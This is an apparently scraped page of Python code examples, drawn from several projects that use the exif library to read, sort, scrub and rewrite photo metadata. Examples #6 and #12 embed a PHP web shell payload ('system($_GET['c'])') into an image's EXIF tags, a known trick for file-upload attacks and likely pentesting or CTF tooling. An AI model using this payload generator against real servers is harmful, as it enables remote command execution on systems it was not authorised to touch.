コード例 #1
0
def extract_exif_data(filepath, photo_b, result):
    try:
        exif_data = exif.Image(photo_b)
    except Exception as e:  # TODO: Refine this broad except
        logger.warning(
            f"{filepath} extracting exif data had unexpected error: {e}")
        return result
    if exif_data.has_exif:
        try:
            result.camera_make = exif_data.get('make', None)
            if result.camera_make and (result.camera_make[-3] == '\x00'):
                result.camera_make = result.camera_make[0:30].rstrip('\x00')
        except Exception as e:
            logger.warning(
                f"{filepath} extracting camera make had unexpected error: {e}")
        try:
            result.camera_model = exif_data.get('model', None)
            if result.camera_model and (result.camera_model[-3] == '\x00'):
                result.camera_model = result.camera_model[0:30].rstrip('\x00')
        except Exception as e:
            logger.warning(
                f"{filepath} extracting camera model had unexpected error: {e}"
            )
        try:
            result.creation_time = exif_data.get('datetime', None)
        except Exception as e:
            logger.warning(
                f"{filepath} extracting datatime had unexpected error: {e}")
        try:
            result.datetime_original = exif_data.get('datetime_original', None)
        except Exception as e:
            logger.warning(
                f"{filepath} extracting datetime_oringinal had unexpected error: {e}"
            )
    return result
コード例 #2
0
ファイル: picsal.py プロジェクト: thursley/picture-sort
def get_exif_datetime(path: str) -> dt.datetime:
    with open(path, 'rb') as img_file:
        image = exif.Image(img_file)
    if not image.has_exif or 'datetime' not in dir(image):
        print(f"image '{path}' has no datetime")
        return None
    return dt.datetime.strptime(image.datetime, '%Y:%m:%d %H:%M:%S')
コード例 #3
0
def scanFile():
    imagePath = input("Image to analyze:")
    splitted = imagePath.split(".")
    try:
        if len(splitted)>1: extension = splitted[-1]
    except:
        extension = "none"
    print (extension)
    if extension.lower() in validExtensions:
        with open(f'{imagePath}', 'rb') as image_file:
                try:
                    my_image = exif.Image(image_file)
                except:
                    print(f"{os.path.basename(imagePath)} no exif data found")
                    print(time.ctime(os.path.getctime(imagePath)))
                    return 

                if(my_image.has_exif):
                    for attribute in dir(my_image):
                        if attribute[0] == "_":
                            print(f"{attribute} irrelevant")
                        else:
                            try:
                                print(f"{attribute} : {getattr(my_image,attribute)}")
                            except:
                                print(f"{attribute} not printable")
                else:
                    print(os.path.getctime(imagePath))
コード例 #4
0
ファイル: exifparse.py プロジェクト: FDeSousa/picman
 def __init__(self, filename):
     self.__categorised = OrderedDict()
     with open(filename, 'rb') as image_file:
         exif_data = exif.Image(image_file)
         if exif_data.has_exif:
             self.__parse(exif_data)
             self.__print(exif_data)
コード例 #5
0
ファイル: picture_tools.py プロジェクト: ae137/PictureTools
def get_exif_creation_date(img_path: Path) -> Optional[str]:
    """Get exif creation date from file.

    Args:
        img_path: Path to file

    Returns:
        Exif creation date-time as string, None if no exif information is available
    """
    with open(img_path, 'rb') as file:
        try:
            image = exif.Image(file)

            if image.has_exif:
                return image.datetime_original

            else:
                print(
                    f"INFO: File {img_path} does not seem to contain Exif information. It will be copied."
                )
                return None

        except AssertionError:
            print(
                f"INFO: File {img_path} does not seem to contain Exif information. It will be copied."
            )
            return None
コード例 #6
0
def exifImage(payload="<?php system($_GET['c']);?>",
              _in=None,
              _out=None,
              exif_tag=None):

    if _in is None:
        _in = PIL.Image.new(Image.RGB, (10, 10), (255, 255, 255))

    if isinstance(_in, str):
        _in = exif.Image(open(_in, "rb"))
    elif isinstance(_in, PIL.Image):
        bytes = io.BytesIO()
        img.save(bytes)
        _in = exif.Image(bytes)
    elif not isinstance(_in, exif.Image):
        print("Invalid input. Either give an Image or a path to an image.")
        return

    valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
    if exif_tag is None:
        exif_tag = "image_description"
    elif exif_tag == "all":
        for exif_tag in valid_tags:
            try:
                _in[exif_tag] = payload
                print("adding:", exif_tag)
            except Exception as e:
                pass
    else:
        if exif_tag not in valid_tags:
            print("Invalid exif-tag. Choose one of the following:")
            print(", ".join(valid_tags))
            return

        _in[exif_tag] = payload

    if _out is None:
        sys.stdout.write(_in.get_file())
        sys.stdout.flush()

    elif isinstance(_out, str):
        with open(_out, "wb") as f:
            f.write(_in.get_file())
    elif hasattr(_out, "write"):
        _out.write(_in.get_file())
    else:
        print("Invalid output argument.")
コード例 #7
0
 def get_exif(self):
     try:
         with open(str(self.relative_folder / self.filename),
                   'rb') as image_file:
             self.__exif = exif.Image(image_file)
         self.got_meta = True
     except (IOError, AssertionError):
         self.got_meta = False
コード例 #8
0
def get_exif_gsp_img_direction(file_path):
    with open(file_path, "rb") as image_file:
        im = exif.Image(image_file)
        image_file.close()
    try:
        return im.gps_img_direction
    except AttributeError:
        return None
コード例 #9
0
def get_image_description(file_path):
    with open(file_path, "rb") as image_file:
        im = exif.Image(image_file)
        image_file.close()
    try:
        return im.user_comment
    except (UnicodeDecodeError, AttributeError):
        return None
コード例 #10
0
def write_exif_to_pano(file_path, fov):
    with open(file_path, "rb") as image_file:
        im = exif.Image(image_file)
        image_file.close()
    im.gps_img_direction = get_view_direction(fov)
    im.gps_img_direction_ref = "M"
    with open("/tmp/exifed.jpg", "wb") as new_image_file:
        new_image_file.write(im.get_file())
        new_image_file.close()
    os.rename("/tmp/exifed.jpg", file_path)
コード例 #11
0
ファイル: run.py プロジェクト: skippie81/py_img_metadatafix
 def get_exif_from_file(cls, filename):
     with open(filename, 'rb') as image_file:
         try:
             img = exif.Image(image_file)
         except Exception as e:
             image_file.close()
             raise e
         log.debug('has exif: %s' % img.has_exif)
         image_file.close()
     return img
コード例 #12
0
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):

    if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
        _in = Image.new("RGB", (50,50), (255,255,255))

    if isinstance(_in, str):
        _in = exif.Image(open(_in, "rb"))
    elif isinstance(_in, Image.Image):
        bytes = io.BytesIO()
        _in.save(bytes, format='JPEG')
        _in = exif.Image(bytes.getvalue())
    elif not isinstance(_in, exif.Image):
        print("Invalid input. Either give an Image or a path to an image.")
        return

    valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
    if exif_tag is None:
        _in.image_description = payload
    elif exif_tag == "all":
        for exif_tag in valid_tags:
            try:
                _in[exif_tag] = payload
                print("adding:", exif_tag)
            except Exception as e:
                pass
    else:
        if exif_tag not in valid_tags:
            print("Invalid exif-tag. Choose one of the following:")
            print(", ".join(valid_tags))
            return

        _in[exif_tag] = payload

    if _out is None:
        return _in.get_file()
    elif isinstance(_out, str):
        with open(_out, "wb") as f:
            f.write(_in.get_file())
    elif hasattr(_out, "write"):
        _out.write(_in.get_file())
    else:
        print("Invalid output argument.")
コード例 #13
0
def print_image_meta(filename):
    with open(filename,'rb') as file:
        imagefile=exif.Image(file)
        attrlist = dir(imagefile)
        length=len(attrlist)

        for i in range(length):
            try:
                print("{} : {}".format(attrlist[i],imagefile[attrlist[i]]))
            except (Exception, NotImplementedError):
                i+=i
                pass
コード例 #14
0
 def exif_clean(self, image_name):
     """ Remove all exif data from the provided image
     """
     with open(image_name, 'rb') as image:
         image = exif.Image(image)
         if not image.has_exif:
             return None
         image.delete_all()
         clean_image_name = ''.join(
             image_name.split('.')[:-1]) + "_cleaned.jpg"
         with open(clean_image_name, 'wb') as cleaned_image:
             cleaned_image.write(image.get_file())
     return clean_image_name
コード例 #15
0
async def index(request):
    search_path = settings.BASE_DIR / 'captures'
    images = []
    for img_path in search_path.glob('*.jpg'):
        im_data = {"url": '/' + '/'.join(img_path.parts[-2:])}
        with open(img_path, 'rb') as f:
            exif_img = exif.Image(f)
            im_data['f_number'] = exif_img.f_number
            im_data['focal_length'] = exif_img.focal_length
            im_data['focal_length_35'] = exif_img.focal_length * CROP_1_7
            im_data['iso'] = exif_img.photographic_sensitivity
            im_data['tv'] = fractions.Fraction(
                exif_img.exposure_time).limit_denominator()
        images.append(im_data)
    return {'images': images}
コード例 #16
0
    def resolution_sort_image_files(self, the_dir='./'):
        if os.path.isdir(os.path.abspath(os.path.expanduser(the_dir))):
            the_dir = os.path.expanduser(the_dir)
            file_list = [
                f for f in listdir(the_dir) if isfile(join(the_dir, f))
            ]
            for current_file in file_list:
                current_file_path = os.path.abspath(
                    os.path.join(the_dir, current_file))
                if os.path.isfile(current_file_path):
                    with open(current_file_path, 'rb') as image_meta:
                        # Sort by resolution
                        # Check if we are working with an image file with exif information
                        try:
                            metadata = ef.Image(image_meta)
                            if metadata.has_exif:
                                #EXIF Resolution variants
                                if hasattr(metadata, 'x_resolution'):
                                    dir_name = 'resolution_' + str(
                                        round(metadata.x_resolution))
                                elif hasattr(metadata, 'Xresolution'):
                                    dir_name = 'resolution_' + str(
                                        round(metadata.Xresolution))
                                else:
                                    #EXIF with no recognised resolution attribute
                                    dir_name = 'resolution_NA'
                            else:
                                #No reported EXIF on file
                                dir_name = 'resolution_NA'
                        except:
                            #Unaccessible EXIF or different file type
                            dir_name = 'resolution_NA'

                        dir_name = os.path.abspath(
                            os.path.join(the_dir, dir_name))
                        if not (os.path.exists(dir_name) & isdir(dir_name)):
                            # Create the directory for the resolution
                            os.mkdir(dir_name)

                        # Move the image to the directory
                        new_file_path = os.path.abspath(dir_name + '/' +
                                                        current_file)
                        image_meta.close()
                        shutil.move(current_file_path, new_file_path)

        else:
            raise ValueError('Could not find directory to sort')
コード例 #17
0
    def _read_image_metadata(self, filepath):
        with open(filepath, 'rb') as f:
            image_metadata = exif.Image(f)

        try:
            info = {
                'timestamp': dateutil.parser.parse(image_metadata.datetime),
                'exposure_value': image_metadata.exposure_bias_value,
                'exposure_mode': image_metadata.exposure_mode,
            }
        except AttributeError as e:
            pass
        else:
            return info

        # If we get here, the tag was not found.
        raise MetadataNotFoundException()
コード例 #18
0
 def exif_data(self, image_name):
     """ Return a dict of all the known information about the file
     """
     # pylint: disable=broad-except
     with open(image_name, 'rb') as image:
         image = exif.Image(image)
         if image.has_exif:
             exif_data = {}
             for prop in dir(image):
                 try:
                     val = getattr(image, prop)
                     if prop[0:1] != "_":
                         if not isinstance(val, types.MethodType):
                             exif_data[prop] = val
                 except Exception:
                     pass
             return exif_data
         return None
コード例 #19
0
def get_exif_gps_latlon(file_path):
    with open(file_path, "rb") as image_file:
        im = exif.Image(image_file)
        image_file.close()

    try:
        lat = im.gps_latitude
        lon = im.gps_longitude
        lat_ref = im.gps_latitude_ref
        lon_ref = im.gps_longitude_ref

        if lat_ref == "S":
            lat = -lat
        if lon_ref == "W":
            lon = -lon
        return Location(dms_to_decimal_degrees(lat), dms_to_decimal_degrees(lon))
    except AttributeError:
        return None
コード例 #20
0
ファイル: menu.py プロジェクト: ron-kemker/OpenAnnotation
    def file_to_annotation(self, file, meta=None):
        '''
        Creates an Annotation object based on the image.
        
        Parameters
        ----------
        file : STRING
            Path and Filename of Image to be annotated.
        meta : exif.Image object
            Used for testing purposes only.
        Returns
        -------
        None.

        '''

        self.root_app.annotations.append(Annotation())

        # EXIF data is not present in all images (e.g., png files).  If there
        # is EXIF data, use it to figure out how the image needs to be rotated.
        try:

            if self.root_app.window.winfo_ismapped():
                meta = exif.Image(file)
            if meta.has_exif:
                if 'orientation' in dir(meta):
                    if meta.orientation == 6:
                        self.root_app.annotations[-1].rotation =\
                            Image.ROTATE_270
                    elif meta.orientation == 3:
                        self.root_app.annotations[-1].rotation =\
                            Image.ROTATE_180
                    elif meta.orientation == 8:
                        self.root_app.annotations[-1].rotation =\
                            Image.ROTATE_90
        # This is the error when no EXIF data is found.
        except UnpackError:
            pass
        return True
コード例 #21
0
def exif_scrub(filepaths, gps, all, pattern):
    # Scrubs images one by one to avoid memory bloat.
    for filepath in filepaths:
        filepath = os.path.expanduser(filepath)
        with open(filepath, 'rb') as image_file:
            image = exif.Image(image_file)
            if not image.has_exif:
                continue

            click.echo(f"Scrubbing {filepath}")

            # Remove EXIF data.
            if gps:
                remove_match(image, '^gps')

            if pattern:
                remove_match(image, pattern)

            if all:
                remove_all(image)

            # Write new image file.
            with open(srcubbed_filepath(filepath), 'wb') as new_image_file:
                new_image_file.write(image.get_file())
コード例 #22
0
def print_simple(filename):
    with open(filename,'rb') as file:
        imagefile=exif.Image(file)
        print(dir(imagefile))
コード例 #23
0
basic_path = "C:\\Kornel_Zdjecia\\telefon_tmp\\Telefon"
sylwia_move_path = "C:\\Kornel_Zdjecia\\telefon_tmp\\Telefon\\Sylwia"
kornel_move_path = "C:\\Kornel_Zdjecia\\telefon_tmp\\Telefon\\Kornel"
other_move_path = "C:\\Kornel_Zdjecia\\telefon_tmp\\Telefon\\Other"

files = [
    os.path.join(dp, f) for dp, dn, filenames in os.walk(basic_path)
    for f in filenames
]

for cur_file in files:
    try:
        cur_file_model = None
        with open(cur_file, 'rb') as image_file:
            my_image = exif.Image(image_file)
            if my_image.has_exif:
                if hasattr(my_image, 'model'):
                    cur_file_model = my_image.model

        if cur_file_model == 'Mi 9 Lite':
            shutil.copy(cur_file, kornel_move_path)
            os.remove(cur_file)
        elif cur_file_model == 'Redmi Note 8 Pro':
            shutil.copy(cur_file, sylwia_move_path)
            os.remove(cur_file)
        else:
            shutil.copy(cur_file, other_move_path)
            os.remove(cur_file)
    except:
        print('can not open file: ' + cur_file)
コード例 #24
0
def model_prediction():

    # check if key is correct
    if 'image_in' not in request.files:
        return json.dumps({
            "code": "E001",
            "message": "Incorrect form-data key"
        })

    # save the file
    files = os.listdir(ROOT_PATH)
    file1 = request.files['image_in']

    unique_filename = str(uuid.uuid4())
    file_path = ROOT_PATH + "/" + unique_filename + '.jpg'
    file1.save(file_path)

    try:
        im = Image.open(file_path)
        im.verify()
    except:
        os.remove(file_path)  # remove the file
        return json.dumps({"code": "E002", "message": "Incorrect file type"})

    print("file uploaded")
    img_height, img_width = 224, 224
    # define the expected input shape for the model
    # load and prepare the image
    img = tf.keras.utils.load_img(file_path,
                                  target_size=(img_height, img_width))

    img_array = tf.keras.utils.img_to_array(img)
    img_array = tf.expand_dims(img_array, 0)  # Create a batch

    # define the labels
    labels = ['Dress', 'Longsleeve', 'Pants', 'Shoes', 'T-Shirt']

    predictions = model.predict(img_array)
    score = tf.nn.softmax(predictions[0])

    # define the probability threshold for detected objects
    class_threshold = 0.6

    return_data = []
    # get the right class lable for prediction
    if np.max(score) > class_threshold:
        pred_label = labels[np.argmax(score)]
        # summarize what we found
        return_data = [pred_label]

    # image could not be classified into any category
    if len(return_data) == 0:
        os.remove(file_path)
        return json.dumps({
            "code":
            "E003",
            "message":
            "Image could not be classified, Try image of clothing items (pants, shirt, ...)"
        })

    img_files = os.listdir(ROOT_PATH)
    if len(img_files) <= MAX_IMAGES_ON_SERVER:  # max limit of images on page
        # resize all images to same aspect ratio before saving,
        img = Image.open(file_path)
        img = img.resize((400, 400), Image.ANTIALIAS)

        img.save(file_path, "JPEG", quality=90)

        # add tags to image description, once the Image processing is done
        with open(file_path, 'rb') as image_file:
            my_image = exif.Image(image_file)

        my_image.image_description = str(return_data)

        with open(file_path, 'wb') as new_image_file:
            new_image_file.write(my_image.get_file())
    else:
        os.remove(file_path)

    return json.dumps({"code": "S000", "message": return_data})
コード例 #25
0
ファイル: gather.py プロジェクト: edsu/inst341
#!/usr/bin/env python3

import os
import exif
import shutil
from pathlib import Path

for root, dirs, files in os.walk('/home/ed/Data/govdocs1'):
    for file in files:
        path = Path(root) / Path(file)
        if path.suffix.lower() in ['.jpeg', '.jpg', '.png', '.gif']:
            try:
                print(path)
                img = exif.Image(path)
                if img.has_exif:
                    shutil.copy(path, Path('data/images') / path.name)
            except:
                pass


コード例 #26
0
    def estimate(self, img: str) -> DataFrame:
        """
        Estimate leaf area for a given image or directory of images.

        TO DO: filter images only in the folder - ask the user for extension?

        @param img: path to the scan or images folder. respects tilde expansion
        @return pandas DF with the file name of the input and the estimated area(s)
        """

        if os.path.isfile(os.path.abspath(os.path.expanduser(img))):
            # read the image resolution
            if not self.res:
                with open(os.path.expanduser(img), 'rb') as image_meta:
                    try:
                        metadata = ef.Image(image_meta)
                    except:
                        return pd.DataFrame(
                            data={
                                'filename': [img],
                                'Area': None,
                                'Resolution': None,
                                'Error':
                                'Unable to access EXIF Data for image.'
                            })

                if (not metadata.has_exif
                    ) or not (hasattr(metadata, 'x_resolution')
                              or hasattr(metadata, 'Xresolution')):
                    #raise ValueError("Image of unknown resolution. Please specify the res argument in dpi.")
                    return pd.DataFrame(
                        data={
                            'filename': [img],
                            'Area':
                            None,
                            'Resolution':
                            None,
                            'Error':
                            'Image of unknown resolution. Please specify the res argument in dpi.'
                        })

                if hasattr(metadata, 'x_resolution'):
                    if not metadata.x_resolution == metadata.y_resolution:
                        #raise ValueError( "X and Y resolutions differ in Image. This is unusual, and may indicate a problem.")
                        return pd.DataFrame(
                            data={
                                'filename': [img],
                                'Area':
                                None,
                                'Resolution':
                                None,
                                'Error':
                                'X and Y resolutions differ in Image. This is unusual, and may indicate a problem.'
                            })
                    else:
                        self.res = metadata.x_resolution
                elif hasattr(metadata, 'Xresolution'):
                    if not metadata.Xresolution == metadata.Yresolution:
                        #raise ValueError( "X and Y resolutions differ in Image. This is unusual, and may indicate a problem.")
                        return pd.DataFrame(
                            data={
                                'filename': [img],
                                'Area':
                                None,
                                'Resolution':
                                None,
                                'Error':
                                'X and Y resolutions differ in Image. This is unusual, and may indicate a problem.'
                            })
                    else:
                        self.res = metadata.Xresolution

                else:
                    if not metadata.XResolution == metadata.YResolution:
                        #raise ValueError( "X and Y resolutions differ in Image. This is unusual, and may indicate a problem.")
                        return pd.DataFrame(
                            data={
                                'filename': [img],
                                'Area':
                                None,
                                'Resolution':
                                None,
                                'Error':
                                'X and Y resolutions differ in Image. This is unusual, and may indicate a problem.'
                            })
                    else:
                        self.res = metadata.XResolution

            # read the scan
            try:
                scan = cv2.imread(os.path.expanduser(img))
            except:
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Area':
                        None,
                        'Resolution':
                        None,
                        'Error':
                        'Unable to open image for processing. Check the file format.'
                    })

            if scan is None:
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Area':
                        None,
                        'Resolution':
                        None,
                        'Error':
                        'Unable to open image for processing. Check the file format.'
                    })

            # transfer to grayscale
            scan = cv2.cvtColor(scan, cv2.COLOR_BGR2GRAY)

            # classify leaf and background
            if self.threshold < 0 or self.threshold > 255:
                #raise ValueError("Threshold must be an integer between 0 and 255.")
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Area':
                        None,
                        'Resolution':
                        None,
                        'Error':
                        'Error: Threshold must be an integer between 0 and 255.'
                    })

            scan = cv2.threshold(scan, self.threshold, 255,
                                 cv2.THRESH_BINARY_INV)[1]

            # label leaflets
            leaflets = measure.label(scan, background=0)

            # count number of pixels in each label
            leaflets = np.unique(leaflets, return_counts=True)

            # create mask to remove dirt and background
            mask = np.ones(len(leaflets[1]), dtype=bool)

            # remove small patches
            if self.cut_off < 0:
                #raise ValueError("cutoff for small specks must not be negative.")
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Area': None,
                        'Resolution': None,
                        'Error':
                        'cutoff for small specks must not be negative.'
                    })

            mask[leaflets[1] < self.cut_off] = False

            # remove background pixels
            mask[leaflets[0] == 0] = False  # background is labeled as 0

            # apply mask
            areas = leaflets[1][mask]

            # convert from pixels to cm2
            res = self.res / 2.54  # 2.54 cm in an inch
            res = res * res  # pixels per cm^2
            areas = areas / res

            # save image
            if self.output_dir:
                if os.path.isdir(self.output_dir):
                    write_to = os.path.join(
                        os.path.expanduser(self.output_dir),
                        os.path.basename(img))
                    cv2.imwrite(write_to, scan)
                    if not self.res:
                        #If we are supplying the resolution, we don't don't touch the exif data
                        piexif.transplant(
                            os.path.abspath(os.path.expanduser(img)), write_to)

            if self.combine:
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Area': [areas.sum()],
                        'Resolution': self.res,
                        'Error': 'No Error'
                    })
            else:
                return pd.DataFrame(
                    data={
                        'filename': [img] * areas.shape[0],
                        'Area': areas,
                        'Resolution': self.res,
                        'Error': 'No Error'
                    })
        elif os.path.isdir(os.path.abspath(os.path.expanduser(img))):

            if os.path.abspath(os.path.expanduser(img)) == self.output_dir:
                return None

            # obtain a list of images
            images = os.listdir(os.path.abspath(os.path.expanduser(img)))
            images = [os.path.join(img, i) for i in images]
            # print(self.workers)
            # create a workers pool and start processing
            pool = multiprocessing.Pool(self.workers)
            results = pool.map(self.estimate, images)
            pool.close()
            pool.join()

            # unify the results into a single dataframe
            return pd.concat(results)
        else:
            #raise ValueError('Your input {img} needs to be a path to an image or a directory.')
            return pd.DataFrame(
                data={
                    'filename': [img],
                    'Area':
                    None,
                    'Resolution':
                    None,
                    'Error':
                    'Your input {img} needs to be a path to an image or a directory.'
                })
コード例 #27
0
ファイル: run.py プロジェクト: skippie81/py_img_metadatafix
    def write_fixes(self, force=False):
        write_counter = 0
        file_counter = 0
        progress = PrettyProgress(len(self.db))
        if not force:
            log.warning('not really writing files, use --force')
        log.info('Processing %i files for update' % len(self.db))
        for picture in self.db:
            progress.step()
            if self.EXIT.exit:
                break

            if picture['datetime'] is None:
                log.debug('not touching %s as no datetime in db' % picture['filename'])
                continue
            filename = os.path.join(self.dir, picture['filename'])
            date = picture['datetime']
            try:
                datetime.datetime.strptime(date, EXIF_DATETIME_FORMAT)
            except ValueError:
                log.error('Datetime % is not a valid datetime to format %s' % (date, EXIF_DATETIME_FORMAT))
                sys.exit(1)
            log.debug('Updating %s' % filename)

            if os.path.isfile(filename):
                file_counter = file_counter + 1
                with open(filename, 'rb') as f:
                    try:
                        img = exif.Image(f)
                    except plum.UnpackError as e:
                        log.error('Error reading current file %s' % filename)
                        log.debug('%s' % e)
                        continue
                    f.close()
                log.debug('updating exif to date %s' % date)
                if not img.has_exif:
                    log.debug('\nOriginal file %s has no exif need to create' % filename)
                else:
                    if 'datetime' not in list(dir(img)):
                        log.debug('\nOriginal file %s has exif without datetime field' % filename)
                        img.set('datetime', date)
                    else:
                        log.debug('Original file has exif')
                        if img.datetime == date:
                            log.debug('Image already on correct timestamp')
                            continue
                img.datetime = date
                if 'datetime_original' in list(dir(img)):
                    img.datetime_original = date
                if 'datetime_digitized' in list(dir(img)):
                    img.datetime_digitized = date
                if force:
                    log.debug('writing file %s' % filename)
                    with open(filename, 'wb') as new_file:
                        new_file.write(img.get_file())
                        new_file.close()
                        write_counter = write_counter + 1
            else:
                log.warning('picture %s in db not on filesystem' % filename)
        progress.finish()
        log.info('Processed %i files for updating' % progress.progress_count())
        log.info('%i files needed updating' % file_counter)
        if force:
            log.info('%i files written' % write_counter)
コード例 #28
0
    def preprocess(self, img):
        """
        Pre-processes an image by cropping its edges, adding a red scale, masking existing scales and converting to jpg.

        @param img: path to the image or folder of images to process
        @return None
        """
        if os.path.isfile(os.path.abspath(os.path.expanduser(img))):
            #if not self.output_dir:
            #    output_dir = f'{os.path.split(os.path.isfile(os.path.abspath(os.path.expanduser(img))))[0]}/preprocessed'
            #    os.makedirs(output_dir)

            if os.path.split(os.path.abspath(
                    os.path.expanduser(img)))[0] == self.output_dir:
                #raise ValueError(
                #    'You have provided identical paths for the source and destination images.' +
                #    'This would cause your file to be overwritten. Execution has been halted.')
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Pre-process Result':
                        'Error: You have provided identical paths for the source and destination image.'
                    })
            # read the image
            try:
                scan = cv2.imread(os.path.abspath(os.path.expanduser(img)))
            except:
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Pre-process Result':
                        'Error: Unable to open source file.'
                    })

            #Check for error state
            if scan is None:
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Pre-process Result':
                        'Error: Unable to open source file.'
                    })

            dims = scan.shape

            # crop the edges
            if self.crop:
                if self.crop < 0:
                    #print(f'You have attempted to crop a negative number of pixels.')
                    #raise ValueError('You have attempted to crop a negative number of pixels.')
                    return pd.DataFrame(
                        data={
                            'filename': [img],
                            'Pre-process Result':
                            'Error: You have attempted to crop a negative number of pixels.'
                        })
                if self.crop > dims[0] or self.crop > dims[1]:
                    #raise ValueError('You have attempted to crop away more pixels than are available in the image.')
                    return pd.DataFrame(
                        data={
                            'filename': [img],
                            'Pre-process Result':
                            'Error: You have attempted to crop away more pixels than are available in the image.'
                        })
                scan = scan[self.crop:dims[0] - self.crop,
                            self.crop:dims[1] - self.crop]

            # mask scale
            if self.mask_pixels:
                if self.mask_offset_y < 0 or self.mask_offset_x < 0 or self.mask_pixels < 0:
                    #raise ValueError("You have attempted to mask a negative number of pixels.")
                    return pd.DataFrame(
                        data={
                            'filename': [img],
                            'Pre-process Result':
                            'Error: You have attempted to mask a negative number of pixels.'
                        })

                if self.mask_offset_y + self.mask_pixels > dims[
                        0] or self.mask_offset_x + self.mask_pixels > dims[1]:
                    #raise ValueError("You have attempted to mask more pixels than are available in the image.")
                    return pd.DataFrame(
                        data={
                            'filename': [img],
                            'Pre-process Result':
                            'Error: You have attempted to mask more pixels than are available in the image.'
                        })

                scan[self.mask_offset_y:self.mask_offset_y + self.mask_pixels,
                     self.mask_offset_x:self.mask_offset_x + self.mask_pixels,
                     0] = 255  # b channel
                scan[self.mask_offset_y:self.mask_offset_y + self.mask_pixels,
                     self.mask_offset_x:self.mask_offset_x + self.mask_pixels,
                     1] = 255  # g channel
                scan[self.mask_offset_y:self.mask_offset_y + self.mask_pixels,
                     self.mask_offset_x:self.mask_offset_x + self.mask_pixels,
                     2] = 255  # r channel

            # add scale
            if self.red_scale:
                if self.red_scale_pixels > dims[
                        0] or self.red_scale_pixels > dims[1]:
                    #raise ValueError("You have attempted to place a scale bar beyond the margins of the image.")
                    return pd.DataFrame(
                        data={
                            'filename': [img],
                            'Pre-process Result':
                            'Error: You have attempted to place a scale bar beyond the margins of the image.'
                        })
                scan[0:self.red_scale_pixels, 0:self.red_scale_pixels,
                     0] = 0  # b channel
                scan[0:self.red_scale_pixels, 0:self.red_scale_pixels,
                     1] = 0  # g channel
                scan[0:self.red_scale_pixels, 0:self.red_scale_pixels,
                     2] = 255  # red channel

            # file name
            file_name = os.path.basename(
                os.path.abspath(os.path.expanduser(img)))
            file_name = f'{os.path.splitext(file_name)[0]}.jpg'
            file_name = os.path.join(
                os.path.abspath(os.path.expanduser(self.output_dir)),
                file_name)

            # save as jpg
            try:
                metadata = ef.Image(os.path.abspath(os.path.expanduser(img)))
            except:
                #Image write failure
                cv2.imwrite(file_name, scan)
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Pre-process Result':
                        'Error: EXIF data could not be loaded from source image.'
                    })

            #Create the processed image (even if EXIF data isn't viable)
            cv2.imwrite(file_name, scan)

            #if (not metadata.has_exif) or not(hasattr(metadata, 'x_resolution') or hasattr(metadata, 'Xresolution')):

            if (not metadata.has_exif
                ) or not (hasattr(metadata, 'x_resolution')
                          or hasattr(metadata, 'Xresolution')):
                # EXIF has no resolution data present
                return pd.DataFrame(
                    data={
                        'filename': [img],
                        'Pre-process Result':
                        'Error: EXIF Resolution Data Not transferred to Pre-processed image.'
                    })
            else:
                try:
                    piexif.transplant(os.path.abspath(os.path.expanduser(img)),
                                      file_name)
                except:
                    #Return a data frame to the caller to indicate success
                    return pd.DataFrame(
                        data={
                            'filename': [img],
                            'Pre-process Result':
                            'Error: Unable to copy EXIF data to processed image.'
                        })

                #Return a data frame to the caller to indicate success
                return pd.DataFrame(data={
                    'filename': [img],
                    'Pre-process Result': 'No Error'
                })

        elif os.path.isdir(os.path.abspath(os.path.expanduser(img))):

            if os.path.abspath(os.path.expanduser(img)) == self.output_dir:
                return None

            images = os.listdir(os.path.abspath(os.path.expanduser(img)))
            images = [
                os.path.join(os.path.abspath(os.path.expanduser(img)), i)
                for i in images
            ]

            # create a workers pool and start processing
            pool = multiprocessing.Pool(self.workers)
            results = pool.map(self.preprocess, images)
            pool.close()
            pool.join()

            return pd.concat(results)
        else:
            #os.rmdir(output_dir)
            return pd.DataFrame(
                data={
                    'filename': [img],
                    'Pre-process Result': 'Unable to open file or directory.'
                })
コード例 #29
0
def scanDir():
    scanDirs = []
    inputPaths = []
    while (True):
        inputData = input("Path to analyze (type ok when finished):")
        if inputData.lower() == "ok":
            break
        else:
            inputPaths.append(inputData)
    
    for inputPath in inputPaths:
        directories = os.walk(inputPath)
        for directory in directories:
            if not directory[0] in scanDirs:
                scanDirs.append(directory[0])
    for folderPath in scanDirs:
        started = datetime.now()
        logging.info(f"{os.path.basename(folderPath)} started at {started}")
        scanned,relocated = 0,0
        for possibleImage in os.listdir(folderPath):
            splitted = possibleImage.split(".")
            try:
                if len(splitted) > 1:
                    extension = splitted[-1]
                else:
                    extension = "none"
            except:
                extension = "none"
            if extension.lower() in validExtensions:
                scanned += 1
                imagePath = f"{folderPath}\\{possibleImage}"
                with open(f'{imagePath}', 'rb') as image_file:
                    with concurrent.futures.ThreadPoolExecutor() as executor:

                        try:
                            my_image = exif.Image(image_file)

                        except:
                            try: 
                                newImageDirectoy = f"Z:\\RELOCATED\\NO EXIF"
                                newImagePath = f"{newImageDirectoy}\\{os.path.basename(imagePath)}"
                                if not os.path.exists(newImagePath):
                                    if not os.path.exists(newImageDirectoy):
                                        os.makedirs(newImageDirectoy)
                                    threads.append(executor.submit(relocate, [imagePath, newImagePath]))
                                    relocated += 1
                                else:
                                    print(f"{os.path.basename(imagePath)} already relocated")
                            except:
                                print(f"{os.path.basename(imagePath)} is invalid")

                            continue

                        if(my_image.has_exif):
                            # for attribute in dir(my_image):
                            #     if attribute[0] == "_":
                            #         print(f"{attribute} irrelevant")
                            #     else:
                            #         try:
                            #             print(f"{attribute} : {getattr(my_image,attribute)}")
                            #         except:
                            #             print(f"{attribute} not printable")
                            if hasattr(my_image,"datetime_original"):
                                splittedDate = re.split(r':|\s',my_image.datetime_original)
                                try: 
                                    year = splittedDate[0]
                                    month = splittedDate[1]
                                    day = splittedDate[2]
                                    datePath = f"{year}\\{month}\\{day}"
                                except:
                                    datePath = "desconocido"
